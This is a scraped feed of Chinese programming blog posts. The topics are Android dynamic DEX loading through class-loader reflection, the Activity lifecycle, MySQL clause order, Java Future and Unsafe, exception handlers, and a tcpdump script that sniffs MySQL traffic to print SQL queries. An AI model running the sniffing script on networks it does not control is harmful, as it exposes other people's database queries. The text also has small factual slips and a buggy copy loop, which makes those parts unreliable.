                    optimizedDirectory, suppressedExceptions);
        }
    }

    /**
     * Installer for platform versions 14, 15, 16, 17 and 18.
     */
    private static final class V14 {

        private static void install(ClassLoader loader,
                List<File> additionalClassPathEntries, File optimizedDirectory)
                throws IllegalArgumentException, IllegalAccessException,
                NoSuchFieldException, InvocationTargetException,
                NoSuchMethodException {
            /*
             * The patched class loader is expected to be a descendant of
             * dalvik.system.BaseDexClassLoader. We modify its
             * dalvik.system.DexPathList pathList field to append additional DEX
             * file entries.
             */
            Field pathListField = findField(loader, "pathList");
            Object dexPathList = pathListField.get(loader);
            expandFieldArray(
                    dexPathList,"dexElements",
                    makeDexElements(dexPathList, new ArrayList<File>(
                            additionalClassPathEntries), optimizedDirectory));
        }

        /**
         * A wrapper around
         * {@code private static final dalvik.system.DexPathList#makeDexElements}
         * .
         */
        private static Object[] makeDexElements(Object dexPathList,
                ArrayList<File> files, File optimizedDirectory)
                throws IllegalAccessException, InvocationTargetException,
                NoSuchMethodException {
            Method makeDexElements = findMethod(dexPathList, "makeDexElements",
                    ArrayList.class, File.class);

            return (Object[]) makeDexElements.invoke(dexPathList, files,
                    optimizedDirectory);
        }
    }

    /**
     * Installer for platform versions 4 to 13.
     */
    private static final class V4 {
        private static void install(ClassLoader loader,
                List<File> additionalClassPathEntries)
                throws IllegalArgumentException, IllegalAccessException,
                NoSuchFieldException, IOException {
            /*
             * The patched class loader is expected to be a descendant of
             * dalvik.system.DexClassLoader. We modify its fields mPaths,
             * mFiles, mZips and mDexs to append additional DEX file entries.
             */
            int extraSize = additionalClassPathEntries.size();

            Field pathField = findField(loader, "path");

            StringBuilder path = new StringBuilder(
                    (String) pathField.get(loader));
            String[] extraPaths = new String[extraSize];
            File[] extraFiles = new File[extraSize];
            ZipFile[] extraZips = new ZipFile[extraSize];
            DexFile[] extraDexs = new DexFile[extraSize];
            for (ListIterator<File> iterator = additionalClassPathEntries
                    .listIterator(); iterator.hasNext();) {
                File additionalEntry = iterator.next();
                String entryPath = additionalEntry.getAbsolutePath();
                path.append(':').append(entryPath);
                int index = iterator.previousIndex();
                extraPaths[index] = entryPath;
                extraFiles[index] = additionalEntry;
                extraZips[index] = new ZipFile(additionalEntry);
                extraDexs[index] = DexFile.loadDex(entryPath, entryPath
                        + ".dex", 0);
            }

            pathField.set(loader, path.toString());
            expandFieldArray(loader, "mPaths", extraPaths);
            expandFieldArray(loader, "mFiles", extraFiles);
            expandFieldArray(loader, "mZips", extraZips);
            expandFieldArray(loader, "mDexs", extraDexs);
        }
    }

}

[AssetsManager.java]

package net.mobctrl.hostapk;

import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;

import android.content.Context;
import android.content.res.AssetManager;
import android.util.Log;

/**
 * @Author Zheng Haibo
 * @Mail mochuan.zhb@alibaba-inc.com
 * @Company Alibaba Group
 * @PersonalWebsite http://www.mobctrl.net
 * @version $Id: AssetsManager.java, v 0.1 2015年12月11日 下午4:41:10 mochuan.zhb Exp $
 * @Description
 */
public class AssetsManager {

    public static final String TAG = "AssetsApkLoader";

    //从assets复制出去的apk的目标目录
    public static final String APK_DIR = "third_apk";

    //文件结尾过滤
    public static final String FILE_FILTER = ".apk";


    /**
     * 将资源文件中的apk文件拷贝到私有目录中
     * 
     * @param context
     */
    public static void copyAllAssetsApk(Context context) {

        AssetManager assetManager = context.getAssets();
        long startTime = System.currentTimeMillis();
        try {
            File dex = context.getDir(APK_DIR, Context.MODE_PRIVATE);
            dex.mkdir();
            String []fileNames = assetManager.list("");
            for(String fileName:fileNames){
                if(!fileName.endsWith(FILE_FILTER)){
                    return;
                }
                InputStream in = null;
                OutputStream out = null;
                in = assetManager.open(fileName);
                File f = new File(dex, fileName);
                if (f.exists() && f.length() == in.available()) {
                    Log.i(TAG, fileName+"no change");
                    return;
                }
                Log.i(TAG, fileName+" chaneged");
                out = new FileOutputStream(f);
                byte[] buffer = new byte[2048];
                int read;
                while ((read = in.read(buffer)) != -1) {
                    out.write(buffer, 0, read);
                }
                in.close();
                in = null;
                out.flush();
                out.close();
                out = null;
                Log.i(TAG, fileName+" copy over");
            }
            Log.i(TAG,"###copyAssets time = "+(System.currentTimeMillis() - startTime));
        } catch (Exception e) {
            e.printStackTrace();
        }

    }
}

以上就是从assets中加载apk的核心代码。

DEMO运行

打开BundleApk项目,编译成apk。然后将BundleApk.apk文件拷贝到HostApk项目的assets目录,在HostApk的MainActivity方法的onCreate当中,调用AssetsMultiDexLoader.install(getApplicationContext());加载BundleApk.apk。然后我们就可以通过如下两种方式调用BundleApk中的类:

  • Class.forName
    由于我们的HostApk没有BundleApk类的引用,所以我们需要用反射的方式调用。
private void loadClass(){
        try{
            Class<?> clazz = Class.forName("net.mobctrl.normal.apk.FileUtils");

            Constructor<?> constructor = clazz.getConstructor();
            Object bundleUtils = constructor.newInstance();

            Method printSumMethod = clazz.getMethod("print", Context.class,String.class);
            printSumMethod.setAccessible(true);
            printSumMethod.invoke(bundleUtils,
                    getApplicationContext(), "Hello");
        }catch(Exception e){
            e.printStackTrace();
        }

    }
  • loadClass
    我们也可以直接获取当前的ClassLoader对象,然后调用其loadClass方法
@TargetApi(Build.VERSION_CODES.ICE_CREAM_SANDWICH)
    private void loadApk() {
        try {
            Class<?> clazz = getClassLoader()
                    .loadClass("net.mobctrl.normal.apk.Utils");
            Constructor<?> constructor = clazz.getConstructor();
            Object bundleUtils = constructor.newInstance();

            Method printSumMethod = clazz.getMethod("printSum", Context.class,
                    int.class, int.class, String.class);
            printSumMethod.setAccessible(true);
            Integer sum = (Integer)printSumMethod.invoke(bundleUtils,
                    getApplicationContext(), 10, 20, "计算结果");
            System.out.println("debug:sum = " + sum);
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (SecurityException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (IllegalArgumentException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }
    }

参考文章

[1]. ClassLoader的工作原理
[2]. PathClassLoader源码
[3]. MultiDex源码

作者:NUPTboyZHB 发表于2015/12/27 10:41:47 原文链接
阅读:0 评论:0 查看评论

Activity生命周期详解

$
0
0

本文概述:针对一个例子详细阐述Activity的生命周期。

 

1.返回栈

Android是使用任务(Task)来管理活动的,一个任务就是一组存放在栈里的Activity的集合,这个栈也叫返回栈(Back Stack)。每次我们启动一个新的Activity,这个Activity就会入栈,并处于栈顶位置。按下返回键或者finish()方法销毁一个Activity时,处于栈顶的Activity就会出栈,另一个Activity就会处于栈顶位置,显示给用户的就会是这个Activity.



 

2.活动状态

运行状态:该Activity处于栈顶,可见

暂停状态:不处于栈顶,但仍可见

停止状态:不处于栈顶,且不可见

销毁状态:从返回栈中被移除

 

3.Activity的生命周期

onCreate()方法:完成Activity的初始化,如加载布局,绑定事件。

onStart()方法:Activity由不可见变为可见

onResume():这个方法在Activity准备和用户交互的时候调用

onPause()方法:准备去启动一个新的Activity的时候调用

onStop()方法:这个方法在Activity完全不可见的时候调用

onDestroy()方法:这个方法在Activity销毁之前调用,之后Activity的状态将变为销毁

onRestart()方法:这个方法在停止状态变为运行状态之前调用

 

4.Activity的生存期

完整生存期:onCreate()-->onStart()-->onResume()-->onPause()-->onStop-->onDestroy()

可见生存期:onStart-->onResume()-->onPause()-->onStop()

前台生存期:onResume()-->onPause(),该状态下Activity处于运行状态

 

5.体验Activity的生命周期

在这里有三个Activity,MainActivity、NormalActivity和DialogActivity,其中DialogActivity是一个弹出框样式的Activity,就是为了演示MainActivity在可见但是不处于栈顶的情况。

MainActivity的布局文件,很简单只有两个跳转按钮

 

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    tools:context=".MainActivity" ><Button 
        android:id="@+id/btn_normal"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="normal_activity"/><Button
        android:id="@+id/btn_dialog"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="dialog_activity"/></LinearLayout>

 NormalActivity的布局文件,也很简单

 

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"><TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="这是一个normal_activity" /></RelativeLayout>

 DialogActivity的布局文件,注意在清单文件中注册这个Activity的时候要声明它的主题是弹出框主题,否则难以看到实验效果

<activity 
            android:name="com.example.activitylifecycle.NormalActivity"></activity><activity 
            android:name="com.example.activitylifecycle.DialogActivity"
            android:theme="@android:style/Theme.Dialog"></activity>

 

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent" ><TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="这是一个dialog_activity" /></RelativeLayout>

 MainActivity的代码如下,给按钮添加了两个跳转操作

 

package com.example.activitylifecycle;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;

public class MainActivity extends Activity {
	public static final String TAG="MainActivity";
	Button btn_normal,btn_dialog;
	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
		Log.d(TAG,"onCreate");
		btn_normal=(Button) findViewById(R.id.btn_normal);
		btn_dialog=(Button) findViewById(R.id.btn_dialog);
		btn_normal.setOnClickListener(new MyListener());
		btn_dialog.setOnClickListener(new MyListener());
	}
	@Override
	protected void onStart() {
		// TODO Auto-generated method stub
		super.onStart();
		Log.d(TAG,"onStart");
	}
	@Override
	protected void onResume() {
		// TODO Auto-generated method stub
		super.onResume();
		Log.d(TAG,"onResume");
	}
	@Override
	protected void onPause() {
		// TODO Auto-generated method stub
		super.onPause();
		Log.d(TAG,"onPause");
	}
	@Override
	protected void onStop() {
		// TODO Auto-generated method stub
		super.onStop();
		Log.d(TAG,"onStop");
	}
	@Override
	protected void onDestroy() {
		// TODO Auto-generated method stub
		super.onDestroy();
		Log.d(TAG,"onDestroy");
	}
	@Override
	protected void onRestart() {
		// TODO Auto-generated method stub
		super.onRestart();
		Log.d(TAG,"onRestart");
	}
	class MyListener implements OnClickListener{

		@Override
		public void onClick(View v) {
			switch (v.getId()) {
			case R.id.btn_normal:
				Intent intent=new Intent();
				intent.setClass(MainActivity.this, NormalActivity.class);
				startActivity(intent);
				break;
			case R.id.btn_dialog:
				Intent intent2=new Intent();
				intent2.setClass(MainActivity.this, DialogActivity.class);
				startActivity(intent2);
				break;
			}
		}
     }
	
	
}

 NormalActivity

 

package com.example.activitylifecycle;

import android.app.Activity;
import android.os.Bundle;

public class NormalActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.normal_activity);
		
	}
	
}

 DialogActivity

 

package com.example.activitylifecycle;

import android.app.Activity;
import android.os.Bundle;

public class DialogActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.dialog_activity);
		
	}
	
	
	
	
}

 下面开始演示程序:

首先部署应用到模拟器,呈现在我们面前的是MainActivity,调用了三个方法:onCreate()、onStart()、onResume()



 

点击按钮跳转到NormalActivity,调用了onPause()、onStop()



 

 

点击返回,MainActivity从新变为可见,调用了onRestart()、onStart()、onPause()



 

点击按钮跳转到DialogActivity,调用了onPause方法,可以看到和上面的区别,并没有调用onStop方法,因为此时MainActivity仍然可见



 

点击返回,调用的是onResume()



 

点击返回,退出程序,调用onPause()、onStop()、ondestroy()

 

 总结:如下是Activity生命周期的完整示意图,和上面的实验结果完全一致

 

 

 

 

 





已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



为什么设计师也要学会判断优先级

$
0
0

我的主管经常对我们说:产品经理最重要的能力就是判断优先级,不然就不叫产品经理,而是需求经理。以前我听了总是不以为然,觉得判断优先级就是优先做紧急的和实现成本低的需求,毫无技术含量;而设计师需要从用户的整体使用流程综合考虑,给出一个理想而完整的方案。所以很长一段时间,我都觉得产品经理大多是在做救火的事情,而只有设计师才有条件和能力从用户的角度全盘考虑,从根本上解决问题。

直到今年遇到这两件事情,我才有了不一样的认识。​

​不会判断优先级的悲剧

年初时,主管发动了一场关于易用性方案的PK活动。一个产品经理拿出了弹层引导的方案(在每个页面都有若干引导),当时我简直笑坏了,心想这不是在破衣服上打补丁吗,完全是治标不治本的做法;我拿出了自己的方案:从深层次分析易用性不好的原因,重新梳理流程,给出了一个全新的方案,该方案从根本上改进了易用性问题,使用流程大幅缩减,信息结构简明易懂。当时我讲完我的方案,收获了全场的掌声。很多人表示开了眼界,从没想过还可以这么做,也见识了交互设计的专业性。

但最后主管选择了弹层的方案。理由是我们承办了一个活动,短期内将有非常大量的用户迅速涌入,而目前产品的易用性存在很大问题,我们必须在最短时间内以最小代价解决。两个方案摆在面前,怎么判断优先级,不是看哪个方案好就选哪个,而是要围绕业务目标。

我当时觉得主管说的也对,​于是过了一段时间,我选择提出离开,因为在目前的业务环境中实在找不到自己的位置。当然最后我没有离开,也许是因为不想向困难低头,觉得自己还有很大提升空间,早晚有一天会克服困难。

最近一段时间,易用性的事情又重启了。因为之前经过几个月“打补丁”的改进方式,易用性还是没有很明显的起色,​主管很不满意,让我也进入这个项目好好看看。我觉得机会终于来了,是时候把我当时的思路和方案重新拿出来了(由于时间已经过去大半年,业务方面发生了很多变化,于是我的方案也有所更新,但思路基本不变,还是从整体使用流程考虑,给出较完整的方案)。

​review的时候主管说不想看这些看似正确却抓不住重点的东西,要看具体改进了哪些点。幸好我早有准备列出了一个list,里面罗列了和线上相比具体的改动点。主管一条一条的看,问我:你觉得哪条是最紧急的,是有关业务生死问题的?我愣了一下,回答:几乎都不是。主管说你们要把所有改动的list列出来,根据业务目标排好优先级,不然你们短期是一定拿不到结果的。

​当时我很不解,我一直觉得用户体验是一个完整的过程,不是一个个零散的点。怎么能用改bug的方式去改进用户体验呢。以前好歹我也做过几年的交互设计,也没出现过什么问题,为什么在这里就玩不转呢。

​问题出在哪里

我仔细思考了之前做交互设计的经历,发现忽略了​这样几个客观事实:一是产品经理在向设计师提需求之前,其实已经分解并排好优先级了;二是改版和日常迭代往往是分开的,很多日常迭代的需求可能和界面无关,产品经理自己消化掉了;三是对于现在在做的复杂平台型产品,功能逻辑的设计远大于界面影响,所以必须从表层使用问题渗透到功能层面,易用性问题才有解(对比流畅而完整的设计方案,功能是相对独立的)。由于我们这里产品经理和交互设计师的分工并没有那么明确,当大家共同own易用性改进这件事情时,我还在按照以前交互设计师的思路做事情,而没有根据业务节奏排列优先级sense的缺点也就暴露无疑了。​

产品经理侧重于从产品整体角度(包括业务目标、功能逻辑、技术资源、用户体验)去考虑问题,并排列优先级;而设计师侧重于在既定优先级判断基础上从用户角度考虑界面设计。太过考虑业务目标,难免忽视了用户体验;而太过于考虑用户体验,短期内又很难达成业务目标。怎样保证在产品设计过程中最大限度的不影响体验,又能按照业务要求拿结果呢?这里面其实大有学问。

如何围绕业务目标及用户价值判断优先级​

一、高风险的大手术还是低风险的物理疗法

由于我们的产品有比较复杂的历史背景,所以易用性问题非常突出:功能设计复杂而冗余、信息结构冗余、操作流程复杂缺乏引导,所以我们首先要面临一个选择:是根据收集到的问题逐一改进,还是整体重构。之前就这个问题,我和产品经理发生了巨大的分歧,我强烈建议整体重构,因为用户的问题其实都是建立在目前糟糕的设计上的,所以不能哪儿痛医哪儿,而是要抓住问题根源,彻底根除;而产品经理的意见是先改容易改的以及可以快速见到成效的用户问题,这样才能拿到结果。

其实从产品整体视角来看,答案很明显:老用户已经养成较稳定的使用习惯,且目前正处在商业化进程中,一切不容有失;而新用户主动使用的场景还不明显。所以小步快跑的方式是最稳妥的。但是如果是站在设计师的角度来看,就比较容易迷失在其中。这也是我之前一直强调的“眼界”和“格局”,说出来容易,但真正做到其实很难。​

​二、迭代开发与增量开发

现在我们已经确定不做整体重构,而是定期、快速的产出,那么分解需求的标准、形式应该是怎样的呢?正巧上周公司有一个相关的培训,我听了后觉得收获很大。当时老师举了一个例子:如果你有五块钱,你又不想一下子花出去,你是拆成五个一块钱,还是撕成五瓣呢?如果是拆成五个一块钱,那每张一块钱都是可以立即花出去的,而撕成五瓣的话,每一瓣都无法使用了。这也是迭代开发的精髓,即把大块的需求拆分成独立的、可交付的若干完整需求,再开发上线。

用一幅图来说明(图片来源于网络):

迭代开发
增量开发

迭代开发中,每一次的交付物都是完整、用户可用的。如同上图的蒙娜丽莎像,虽然第一幅图比较粗糙,但是用户可以看到完整的轮廓,不影响对整体的理解,而且过程比较可控,可以随时修改;而增量开发中,每一次的交付物虽然精细,但对用户来说不可用,必须全部完成才能拼成一个完整的、用户可用的产品,且风险不可控,一旦发现之前的存在问题,也很难回头了。

而学过绘画的人也都知道,画画是先从轮廓开始、逐步迭代、精细化的过程,而不是增量的过程,除非是画过千百次这样的画,已经完全胸有成竹。但显然这对我们这样一个创新型、充满各种不确定的产品来说不太合适。

三、MVP原则拆分需求

现在我们已经确定要以迭代开发而非增量开发的形式来拆分需求了,那么具体该怎样分解呢?

在培训课堂上我们做了这样一个练习:听课人员分成两个小组,每个小组的成员分别在贴纸上写出自己每天早上从起床到出门需要做的所有事情,组长把所有的内容汇总,再分类展示,得到用户故事地图:

​老师问大家,整个过程大概要多久?大家回答:一个小时左右。老师说:假设有一天你起晚了,并且这一天你要参加一个非常重要的会议,不能迟到。现在你只有五分钟的时间出门,你会从其中选择哪些?

​大家一致选择了上厕所、刷牙、洗脸、换衣服、关门、锁门这几项。虽然大部分事项被省略掉了,但其实并不影响大家出门。这也就是MVP的理念,即“最小化可行产品”,它无疑是简陋的、粗糙的,但是它是完整的、基本流畅的、用户可使用的产品。这样,既可以在最短时间内有所产出,又保证了用户体验的连续性(不至于因为砍掉太多功能而根本无法使用);同时使用这种方法,可以让项目所有成员都看到一个完整的用户场景,可据此快速讨论出优先级,避免“只见树木、不见森林”的情况,节省了大量的时间。

对于一个老产品的快速迭代,通过这种方法也可以快速判断出功能的优先级。然后我们可以重点看该功能对应的用户反馈,归纳出问题的核心原因,得出解决方案,再通过业务价值、问题程度、预计效果、开发成本等因素综合判断具体的优先级。

最后总结一下心得:​以前我会认为排优先级是产品经理考虑的事情,设计高质量的方案才是设计师的事情。就好比我用专业技能打造一个完美的工艺品,我不应该因为对方买不起就自降身价,偷工减料。而现在我会认为根据市场需要判断该产出什么样的工艺品,如何把握制作节奏,如何更快市场化才是最考验能力的事情。与所有设计师共勉!

欢迎关注公众号“津乐道”



 

MySQL的语句执行顺序

$
0
0

MySQL的语句一共分为11步,如下图所标注的那样,最先执行的总是 FROM操作,最后执行的是LIMIT操作。其中每一个操作都会产生一张虚拟的表,这个虚拟的表作为一个处理的输入,只是这些虚拟的表对用户来说是透明 的,但是只有最后一个虚拟的表才会被作为结果返回。如果没有在语句中指定某一个子句,那么将会跳过相应的步骤。

(8)SELECT (9)DISTINCT<select_list>
(1)FROM<left_table>
(3)<join_type>JOIN<right_table>
(2)        ON<jion_condition>
(4)WHERE<where_condition>
(5)GROUP BY<group_by_list>
(6)WITH{CUBE|ROLLUP}
(7)HAVING<having_condition>
(8)ORDER BY<order_by_list>
(11)LIMIT<limit_member>

 

下面我们来具体分析一下查询处理的每一个阶段

  1. FORM: 对FROM的左边的表和右边的表计算笛卡尔积。产生虚表VT1

  2. ON: 对虚表VT1进行ON筛选,只有那些符合<join-condition>的行才会被记录在虚表VT2中。

  3. JOIN: 如果指定了OUTER JOIN(比如left join、 right join),那么保留表中未匹配的行就会作为外部行添加到虚拟表VT2中,产生虚拟表VT3, rug from子句中包含两个以上的表的话,那么就会对上一个join连接产生的结果VT3和下一个表重复执行步骤1~3这三个步骤,一直到处理完所有的表为 止。

  4. WHERE: 对虚拟表VT3进行WHERE条件过滤。只有符合<where-condition>的记录才会被插入到虚拟表VT4中。

  5. GROUP BY: 根据group by子句中的列,对VT4中的记录进行分组操作,产生VT5.

  6. CUBE | ROLLUP: 对表VT5进行cube或者rollup操作,产生表VT6.

  7. HAVING: 对虚拟表VT6应用having过滤,只有符合<having-condition>的记录才会被 插入到虚拟表VT7中。

  8. SELECT: 执行select操作,选择指定的列,插入到虚拟表VT8中。

  9. DISTINCT: 对VT8中的记录进行去重。产生虚拟表VT9.

  10. ORDER BY: 将虚拟表VT9中的记录按照<order_by_list>进行排序操作,产生虚拟表VT10.

  11. LIMIT:取出指定行的记录,产生虚拟表VT11, 并将结果返回。



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



java异步计算Future

$
0
0

 

从jdk1.5开始我们可以利用Future来跟踪异步计算的结果。在此之前主线程要想获得工作线程(异步计算线程)的结果是比较麻烦的事情,需要我们进行特殊的程序结构设计,比较繁琐而且容易出错。有了Future我们就可以设计出比较优雅的异步计算程序结构模型:根据分而治之的思想,我们可以把异步计算的线程按照职责分为3类:

1. 异步计算的发起线程(控制线程):负责异步计算任务的分解和发起,把分解好的任务交给异步计算的work线程去执行,发起异步计算后,发起线程可以获得Futrue的集合,从而可以跟踪异步计算结果

2. 异步计算work线程:负责具体的计算任务

3. 异步计算结果收集线程:从发起线程那里获得Future的集合,并负责监控Future的状态,根据Future的状态来处理异步计算的结果。

 

 

import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;

public class AsyncController {

	//线程池
	private ExecutorService executorService;

	//保存异步计算的Future
	private FutureContext<String> context;

	public AsyncController() {
		this.executorService = Executors.newFixedThreadPool(100);
		this.context = new FutureContext<String>();
	}

	public static void main(String[] args) {
		//启动异步计算
		AsyncController controller = new AsyncController();
		controller.startAsyncCompution();

		//启动异步计算结果输出线程,该线程扫描异步计算Futrue的状态,如果已经完成,则输出异步计算结果
		OutputResult output = new OutputResult();
		output.setFutureContext(controller.getFutureContext());
		Thread resultThread = new Thread(output);
		resultThread.start();
	}

	public FutureContext<String> getFutureContext() {
		return this.context;
	}

	public void startAsyncCompution() {
		/**
		 * 开启100个异步计算,每个异步计算线程随机sleep几秒来模拟计算耗时。
		 */
		final Random random = new Random();
		for (int i = 0; i < 100; i++) {
			Future<String> future = this.executorService
					.submit(new Callable<String>() {
						@Override
						public String call() throws Exception {
							int randomInt = random.nextInt(10);
							Thread.sleep(randomInt * 1000);
							return "" + randomInt;
						}
					});
			//每个异步计算的结果存放在context中
			this.context.addFuture(future);
		}
	}

	public static class FutureContext<T> {

		private List<Future<T>> futureList = new ArrayList<Future<T>>();

		public void addFuture(Future<T> future) {
			this.futureList.add(future);
		}

		public List<Future<T>> getFutureList() {
			return this.futureList;
		}
	}

	public static class OutputResult implements Runnable {

		private FutureContext<String> context;

		public void setFutureContext(FutureContext<String> context) {
			this.context = context;
		}

		@Override
		public void run() {
			System.out.println("start to output result:");
			List<Future<String>> list = this.context.getFutureList();

			for (Future<String> future : list) {
				this.outputResultFromFuture(future);
			}

			System.out.println("finish to output result.");
		}

		private void outputResultFromFuture(Future<String> future) {
			try {
				while (true) {
					if (future.isDone() && !future.isCancelled()) {
						System.out.println("Future:" + future + ",Result:"
								+ future.get());
						break;
					} else {
						Thread.sleep(1000);
					}
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}
	}
}

 



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



Unsafe类的使用

$
0
0

一,简介

       Unsafe可以用于获取成员字段在类实例中的偏移量,直接操作变量在主内存中的值等操作。
       1,获取unsafe.objectFieldOffset(Field f)成员变量地址偏移量。

public class AtomicInteger extends Number implements java.io.Serializable {
    private static final long serialVersionUID = 6214790243416807050L;

    // setup to use Unsafe.compareAndSwapInt for updates
    private static final Unsafe unsafe = Unsafe.getUnsafe();
    private static final long valueOffset;

    static {
      try {
        valueOffset = unsafe.objectFieldOffset
            (AtomicInteger.class.getDeclaredField("value"));//获取该字段的偏移量
      } catch (Exception ex) { throw new Error(ex); }
    }

    private volatile int value;//成员字段

    /**
     * Creates a new AtomicInteger with the given initial value.
     *
     * @param initialValue the initial value
     */
    public AtomicInteger(int initialValue) {
        value = initialValue;
    }
}
    2,根据字段偏移量获取实例中此字段的值。

 

  long offset = unsafe.objectFieldOffset(User.class.getDeclaredField("age"));
  Object obj = unsafe.getInt(this, offset);//获取int型值,getObject(),getLong()等
  System.out.println(obj);
   3,CAS算法支持
public class AtomicBoolean implements java.io.Serializable {

    /**
     * Atomically sets the value to the given updated value
     * if the current value {@code ==} the expected value.
     *
     * @param expect the expected value
     * @param update the new value
     * @return true if successful. False return indicates that
     * the actual value was not equal to the expected value.
     */
    public final boolean compareAndSet(boolean expect, boolean update) {
        int e = expect ? 1 : 0;
        int u = update ? 1 : 0;
        return unsafe.compareAndSwapInt(this, valueOffset, e, u);//如果主内存中的值是期望
        //的e则替换成u并返回true,否则返回false。
    }
}
   4,获取Unsafe实例
/**import sun.misc.Unsafe;导入此包
 * 反射获取该实例,还绕开了安全管理器的限制
 */
private static Unsafe getUnsafeInstance() throws SecurityException,
NoSuchFieldException, IllegalArgumentException, IllegalAccessException
{
    Field theUnsafeInstance = Unsafe.class.getDeclaredField("theUnsafe");
    theUnsafeInstance.setAccessible(true);
    return (Unsafe) theUnsafeInstance.get(Unsafe.class);//返回指定对象上此Field字段表示的值
 }
 
二,总结
    Unsafe提供了直接操作主内存(堆内存)的方法,但sun公司是通过安全管理器限制了直接获取Unsafe的,毕竟应用层直接操作主内存是不安全的,当然也是不允许的。更多关于Unsafe类的应用,请阅读JDK中原子类的实现。


已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐




利用tcpdump抓取mysql sql语句

$
0
0

这个脚本是我之前在网上无意间找个一个利用tcpdump 抓包工具获取mysql流量,并通过过滤把sql 语句输入。

脚本不是很长,但是效果很好。

#!/bin/bash
#this script used montor mysql network traffic.echo sql
tcpdump -i eth0 -s 0 -l -w - dst port 3306 | strings | perl -e '
while(<>) { chomp; next if /^[^ ]+[ ]*$/;
    if(/^(SELECT|UPDATE|DELETE|INSERT|SET|COMMIT|ROLLBACK|CREATE|DROP|ALTER|CALL)/i)
    {
        if (defined $q) { print "$q\n"; }
        $q=$_;
    } else {
        $_ =~ s/^[ \t]+//; $q.=" $_";
    }
}'

下面是执行脚本的输出:

SELECT b.id FROM module as a,rights as b where a.id=b.module_id and b.sid='179' and a.pname like 'vip/member_order_manage.php%'
SELECT count(id) as cc,sum(cash) as total from morder_stat_all  where (ymd BETWEEN '1312214400' and '1312336486') and depart_id=5 an
d order_class=2
select id,name from media where symd='0000-00-00'
select id,name from depart where s_flag=' '  and onoff=1 order by sno
select id,name from plank where depart_id=5  and onoff=1 order by no
select id,name from grp where plank_id=0  and onoff=1 order by no
select id,CONCAT(pname,'-',name) as name from pvc order by pname
select id,CONCAT(no,'-',name) as name from local where pvc_id=0 order by no
select id,name from product_breed
select color_name from product_color where id=5
select id,name from product where id = '0'
select * from morder_stat_all  where (ymd BETWEEN '1312214400' and '1312336486') and depart_id=5 and order_class=2 order by ymd DESC
 LIMIT 0,50
select urlkey from sys_config where id=1
select name from morder where id=7195793
select no,name from staff where id=5061
select product_id,amt,price0 from order_product where order_id = 7195793
select concat_ws('/',name,NULLIF((select color_name as cn from product_color where id=color_id),''),NULLIF((select style_name from p
roduct_style where id=style_id),'')) as name,spec,weight,price from product where id = 16938
select concat_ws('/',name,NULLIF((select color_name as cn from product_color where id=color_id),''),NULLIF((select style_name from p
roduct_style where id=style_id),'')) as name,spec,weight,price from product where id = 19005
select name from morder where id=7195768
select no,name from staff where id=221
select product_id,amt,price0 from order_product where order_id = 7195768
select concat_ws('/',name,NULLIF((select color_name as cn from product_color where id=color_id),''),NULLIF((select style_name from p
roduct_style where id=style_id),'')) as name,spec,weight,price from product where id = 18978
select concat_ws('/',name,NULLIF((select color_name as cn from product_color where id=color_id),''),NULLIF((select style_name from p
roduct_style where id=style_id),'')) as name,spec,weight,price from product where id = 18282
select concat_ws('/',name,NULLIF((select color_name as cn from product_color where id=color_id),''),NULLIF((select style_name from p
roduct_style where id=style_id),'')) as name,spec,weight,price from product where id = 19740

从上面的日志可以看出,脚本的功能还是很强大吧 。

转自: http://www.cnblogs.com/ylqmf/archive/2012/07/11/2586741.html

JAVA多线程之UncaughtExceptionHandler——处理非正常的线程中止

$
0
0

当单线程的程序发生一个未捕获的异常时我们可以采用try....catch进行异常的捕获,但是在多线程环境中,线程抛出的异常是不能用try....catch捕获的,这样就有可能导致一些问题的出现,比如异常的时候无法回收一些系统资源,或者没有关闭当前的连接等等。

首先来看一个示例:

package com.exception;

public class NoCaughtThread
{
	public static void main(String[] args)
	{
		try
		{
			Thread thread = new Thread(new Task());
			thread.start();
		}
		catch (Exception e)
		{
			System.out.println("==Exception: "+e.getMessage());
		}
	}
}

class Task implements Runnable
{
	@Override
	public void run()
	{
		System.out.println(3/2);
		System.out.println(3/0);
		System.out.println(3/1);
	}
}
运行结果:

1
Exception in thread "Thread-0" java.lang.ArithmeticException: / by zero
	at com.exception.Task.run(NoCaughtThread.java:25)
	at java.lang.Thread.run(Unknown Source)
可以看到在多线程中通过try....catch试图捕获线程的异常是不可取的。

Thread的run方法是不抛出任何检查型异常的,但是它自身却可能因为一个异常而被中止,导致这个线程的终结。
